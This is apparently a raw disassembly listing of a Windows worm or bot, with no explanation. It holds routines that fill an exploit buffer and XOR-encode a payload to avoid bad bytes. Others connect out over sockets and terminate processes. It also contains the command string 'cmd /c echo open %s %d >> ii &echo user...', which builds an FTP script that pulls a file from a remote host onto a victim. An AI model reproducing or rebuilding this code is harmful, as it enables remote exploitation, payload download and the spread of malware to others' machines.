push edx
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
lea ecx, [esp+864h+var_828]
call sub_4017CB
lea ecx, [esp+864h+var_840]
call sub_4016B8
lea ecx, [esp+864h+var_830]
call sub_4016B8
lea ecx, [esp+864h+var_820]
call sub_4016B8
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
lea ecx, [esp+864h+var_838]
call sub_401B68
push 2
push offset dword_444BAC
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_4014FB
lea ecx, [esp+864h+var_838]
call sub_4017CB
lea ecx, [esp+864h+var_828]
call sub_4016B8
lea ecx, [esp+864h+var_850]
call sub_4012A8
lea ecx, [esp+864h+var_858]
call sub_4012A8
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_4014FB
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_838]
call sub_4016B8
push offset dword_444BA8
lea ecx, [esp+868h+var_858]
call sub_402036
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016B8
push offset dword_443E80
lea ecx, [esp+868h+var_850]
call sub_402036
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_4014FB
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_858]
call sub_4016B8
push offset dword_444B9C
lea ecx, [esp+868h+var_858]
call sub_402036
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016B8
push offset dword_444B98
lea ecx, [esp+868h+var_818]
call sub_402036
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4016B8
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_424C15: ; CODE XREF: sub_424840+1Ej
; sub_424840+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_424840 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424D40 proc near ; CODE XREF: sub_401AB4j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
call near ptr 71AB2DC0h
nop
cmp eax, 1
jz short loc_424DA9
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424DA9: ; CODE XREF: sub_424D40+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_436F60
test eax, eax
jnz short loc_424DC0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424DC0: ; CODE XREF: sub_424D40+76j
mov edx, [esp+214h+arg_C]
mov eax, [esp+214h+arg_8]
mov ecx, [esp+214h+arg_4]
push edx
push eax
push ecx
push esi
call near ptr 71AB615Ah
nop
pop esi
add esp, 210h
retn
sub_424D40 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E20 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
nop
call near ptr 71AB2BC0h
mov edi, [esp+0Ch+arg_0]
mov ebx, dword_50FC8C
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx ; dword_50FC8C
cmp eax, 4
jz short loc_424E53
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424E53: ; CODE XREF: sub_424E20+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx ; dword_50FC8C
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_424E20 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E90 proc near ; CODE XREF: sub_4012F8j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424EC3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E90+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_4448CC
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_444844
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, dword_4448FC
mov [ebx+31h], eax
mov ecx, dword_444900
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, dword_50E130
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, word_50E134
push esi
mov [eax+4], dx
call sub_4012F3
add esp, 0Ch
test al, al
pop edi
jnz short loc_424F68
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424F68: ; CODE XREF: sub_424E90+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_401AB4
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012F3
add esp, 1Ch
test al, al
jnz short loc_424FA3
push ebx
call near ptr 77C2C21Bh
nop
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424FA3: ; CODE XREF: sub_424E90+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_401AB4
push ebx
nop
call near ptr 77C2C21Bh
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_424E90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425020 proc near ; CODE XREF: sub_401811j
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = word ptr -410h
var_40E = word ptr -40Eh
var_40A = dword ptr -40Ah
var_406 = dword ptr -406h
var_402 = word ptr -402h
var_400 = byte ptr -400h
var_3FF = byte ptr -3FFh
var_371 = byte ptr -371h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 41Ch
mov ecx, 0FFh
xor eax, eax
push ebp
push esi
push edi
lea edi, [esp+428h+var_3FF]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset sub_444A70
lea edi, [esp+428h+var_400]
rep movsd
movsw
mov ecx, offset byte_447541
movsb
call sub_4017E4
push eax
mov ecx, offset byte_447541
call sub_4017E4
mov ecx, [esp+42Ch+arg_0]
push eax
mov eax, dword_44767F
push eax
push ecx
call sub_401DF7
add esp, 4
lea edx, [esp+434h+var_371]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
nop
call near ptr 77C3FA76h
add eax, 90h
lea ecx, [esp+444h+var_418]
push eax
lea eax, [esp+448h+var_400]
push eax
push 164h
push offset sub_444908
push ecx
call sub_401BEA
mov eax, [esp+458h+var_414]
xor edi, edi
add esp, 30h
cmp eax, edi
jnz short loc_4250C9
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 41Ch
retn
; ---------------------------------------------------------------------------
loc_4250C9: ; CODE XREF: sub_425020+9Bj
mov ebp, dword_50FC2C
mov [esp+428h+var_41C], edi
loc_4250D3: ; CODE XREF: sub_425020+158j
test edi, edi
jnz loc_42517E
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_425161
mov eax, [esp+428h+arg_9E]
xor edx, edx
mov dword ptr [esp+428h+var_40E], edx
push eax
mov [esp+42Ch+var_40A], edx
mov [esp+42Ch+var_410], 2
mov [esp+42Ch+var_406], edx
mov [esp+42Ch+var_402], dx
call ebp ; dword_50FC2C
lea ecx, [esp+428h+arg_4]
mov [esp+428h+var_40E], ax
push ecx
call near ptr 71AB2BF4h
nop
lea edx, [esp+428h+var_410]
push 10h
push edx
push esi
mov [esp+28h], eax
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz short loc_425156
mov eax, [esp+428h+var_414]
mov ecx, [esp+428h+var_418]
push eax
push ecx
push esi
call sub_4012F8
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_425156: ; CODE XREF: sub_425020+11Aj
push esi
call near ptr 71AB9639h
nop
test edi, edi
jnz short loc_42516C
loc_425161: ; CODE XREF: sub_425020+CCj
push 3E8h
nop
call near ptr 28402DAh
loc_42516C: ; CODE XREF: sub_425020+13Fj
mov eax, [esp+428h+var_41C]
inc eax
cmp eax, 2
mov [esp+428h+var_41C], eax
jl loc_4250D3
loc_42517E: ; CODE XREF: sub_425020+B5j
lea ecx, [esp+428h+var_418]
call sub_4016B8
test edi, edi
jz short loc_4251AE
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E4h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_4251AE: ; CODE XREF: sub_425020+169j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 41Ch
retn
sub_425020 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425230 proc near ; CODE XREF: sub_4013C5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_425230 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425270 proc near ; CODE XREF: sub_40178Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_4013C5
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_425295
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_425270+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_444C98
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov dword_444CFC, ecx
lea ecx, [eax+1]
mov dword_444D1D, ecx
lea ecx, [eax+17h]
mov dword_444D15, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov dword_444D2B, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, dword_444D0C
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, byte_444D10
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, dword_444D11
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, dword_444D15
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, dword_444D19
mov [ecx+8], esi
mov esi, dword_444D1D
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_444D21
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_425270 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4253E0 proc near ; CODE XREF: sub_402162j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4013C5
push eax
call sub_4017BC
add esp, 0Ch
retn
sub_4253E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425410: ; CODE XREF: ___:00401735j
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_402162
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_425433
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: ___:0042542Bj
cmp eax, 0FFFFh
jbe short loc_425440
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425440: ; CODE XREF: ___:00425438j
push esi
push edi
push ebx
call sub_4013C5
add eax, 101h
push eax
nop
call near ptr 77C2C407h
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4013C5
add esp, 8
push eax
push esi
call sub_40178A
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401B77
push esi
mov edi, eax
nop
call near ptr 77C2C21Bh
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254B0 proc near ; CODE XREF: sub_4017BCj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4254B9
inc ecx
loc_4254B9: ; CODE XREF: sub_4254B0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4254B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254E0 proc near ; CODE XREF: sub_401B77j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_4254F8
cmp bl, 0Dh
jz short loc_4254F8
cmp bl, 5Ch
jz short loc_4254F8
test bl, bl
jnz short loc_4254F9
loc_4254F8: ; CODE XREF: sub_4254E0+8j
; sub_4254E0+Dj ...
inc ebx
loc_4254F9: ; CODE XREF: sub_4254E0+16j
cmp ebx, 0FFh
jbe short loc_42551C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_425516
cmp al, 0Dh
jz short loc_425516
cmp al, 5Ch
jz short loc_425516
test al, al
jnz short loc_42551C
loc_425516: ; CODE XREF: sub_4254E0+28j
; sub_4254E0+2Cj ...
add ebx, 100h
loc_42551C: ; CODE XREF: sub_4254E0+1Fj
; sub_4254E0+34j
push ebx
call sub_4017BC
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_425535
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425535: ; CODE XREF: sub_4254E0+4Fj
cmp eax, 0FFFFh
jbe short loc_425540
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425540: ; CODE XREF: sub_4254E0+5Aj
mov al, byte_50E138
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_425570
loc_425551: ; CODE XREF: sub_4254E0+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_425567
cmp cl, 0Ah
jz short loc_425567
cmp cl, 0Dh
jz short loc_425567
cmp cl, 5Ch
jnz short loc_42556B
loc_425567: ; CODE XREF: sub_4254E0+76j
; sub_4254E0+7Bj ...
inc al
xor edx, edx
loc_42556B: ; CODE XREF: sub_4254E0+85j
inc edx
cmp edx, ebx
jb short loc_425551
loc_425570: ; CODE XREF: sub_4254E0+6Fj
cmp ebx, 0FFh
push edi
mov byte_50E138, al
ja short loc_4255A3
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_444C80
mov edi, edx
mov byte_444C8D, bl
mov byte_444C91, al
rep movsd
movsb
mov esi, 15h
jmp short loc_4255C9
; ---------------------------------------------------------------------------
loc_4255A3: ; CODE XREF: sub_4254E0+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_444C68
mov edi, edx
mov word_444C76, bx
mov byte_444C7B, al
rep movsd
movsw
movsb
mov esi, 17h
loc_4255C9: ; CODE XREF: sub_4254E0+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_4255DF
add esi, edx
loc_4255D2: ; CODE XREF: sub_4254E0+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_4255D2
loc_4255DF: ; CODE XREF: sub_4254E0+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_4254E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425640 proc near ; CODE XREF: sub_401E24j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov dword_4491CF[eax*4], ecx
mov dword_4491BB[eax*4], ecx
mov dword_4491BF[eax*4], ecx
mov dword_4491C3[eax*4], ecx
mov dword_4491C7[eax*4], ecx
mov dword_4491CB[eax*4], ecx
mov byte_448FBB[eax*4], cl
mov byte_4491D3[eax*4], cl
retn
sub_425640 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4256B0 proc near ; CODE XREF: sub_401370j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_425767
cmp ecx, 400h
jge loc_425767
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, dword_4491CF[esi*4]
push eax
call near ptr 27708FAh
nop
cmp dword_4491CF[esi*4], ebx
jz short loc_4256F8
mov ebp, 1
loc_4256F8: ; CODE XREF: sub_4256B0+41j
mov dword_4491CF[esi*4], ebx
mov dword_4491BB[esi*4], ebx
mov dword_4491BF[esi*4], ebx
mov eax, dword_4491C3[esi*4]
cmp eax, ebx
jbe short loc_425721
push eax
call sub_401C6C
add esp, 4
loc_425721: ; CODE XREF: sub_4256B0+66j
mov edi, dword_50FC88
mov dword_4491C3[esi*4], ebx
mov byte_448FBB[esi*4], bl
mov byte_4491D3[esi*4], bl
mov ecx, dword_4491C7[esi*4]
push ecx
call edi ; dword_50FC88
mov dword_4491C7[esi*4], ebx
mov edx, dword_4491CB[esi*4]
lea esi, ds:4491CBh[esi*4]
push edx
call edi ; dword_50FC88
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425767: ; CODE XREF: sub_4256B0+Cj
; sub_4256B0+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_4256B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4257A0 proc near ; CODE XREF: sub_401D93j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_4491BF
loc_4257B1: ; CODE XREF: sub_4257A0+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_4257E5
test ebx, ebx
jle short loc_4257D7
cmp [esi], ebx
jz short loc_4257C8
cmp edi, ebx
jnz short loc_4257E5
loc_4257C8: ; CODE XREF: sub_4257A0+22j
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_4257E5
jmp short loc_4257E4
; ---------------------------------------------------------------------------
loc_4257D7: ; CODE XREF: sub_4257A0+1Ej
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_4257E5
loc_4257E4: ; CODE XREF: sub_4257A0+35j
inc ebp
loc_4257E5: ; CODE XREF: sub_4257A0+1Aj
; sub_4257A0+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_4D61BF
jl short loc_4257B1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4257A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425820 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
nop
call near ptr 2790000h
mov esi, eax
test esi, esi
jz short loc_425855
push 0
push esi
nop
call near ptr 2710000h
test eax, eax
jnz short loc_425855
push esi
xor edi, edi
nop
call near ptr 2850000h
loc_425855: ; CODE XREF: sub_425820+1Dj
; sub_425820+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_425820 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425870 proc near ; CODE XREF: sub_401483j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_4491BB
loc_42587B: ; CODE XREF: sub_425870+1Cj
cmp [ecx], edx
jnz short loc_425880
inc eax
loc_425880: ; CODE XREF: sub_425870+Dj
add ecx, 234h
cmp ecx, offset byte_4D61BB
jl short loc_42587B
retn
sub_425870 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4258A0 proc near ; CODE XREF: sub_401D8Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_4491BB
loc_4258AE: ; CODE XREF: sub_4258A0+1Fj
cmp [ecx], edx
jz short loc_4258C3
add ecx, 234h
inc eax
cmp ecx, offset byte_4D61BB
jl short loc_4258AE
mov eax, esi
loc_4258C3: ; CODE XREF: sub_4258A0+10j
pop esi
retn
sub_4258A0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4258E0 proc near ; CODE XREF: sub_401BD6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_448FBB
loc_4258E8: ; CODE XREF: sub_4258E0+18j
cmp byte ptr [eax], 0
jz short loc_4258FE
add eax, 234h
inc edi
cmp eax, offset dword_4D5FBB
jl short loc_4258E8
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4258FE: ; CODE XREF: sub_4258E0+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:448FBBh[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
nop
call near ptr 77C47A90h
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_4258E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425980 proc near ; CODE XREF: sub_401609j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_425980
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+64h+var_3C]
push 4
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+64h+var_3C]
push 4
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_4017E4
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_4017E4
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+6Ch+var_24]
push 4
push edx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_4017E4
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_401226
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_425980 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425BD0: ; CODE XREF: ___:loc_401B6Dj
push 0FFFFFFFFh
push offset loc_43B6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebx, ecx
push edi
lea ebp, [esi+7Eh]
lea ecx, [ebx+60h]
mov [esp+54h], ebp
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
mov edi, dword_50FB08
test eax, eax
jnz loc_425D68
push 95h
call sub_4367FA
add esp, 4
mov [esp+10h], eax
xor ebp, ebp
cmp eax, ebp
mov [esp+4Ch], ebp
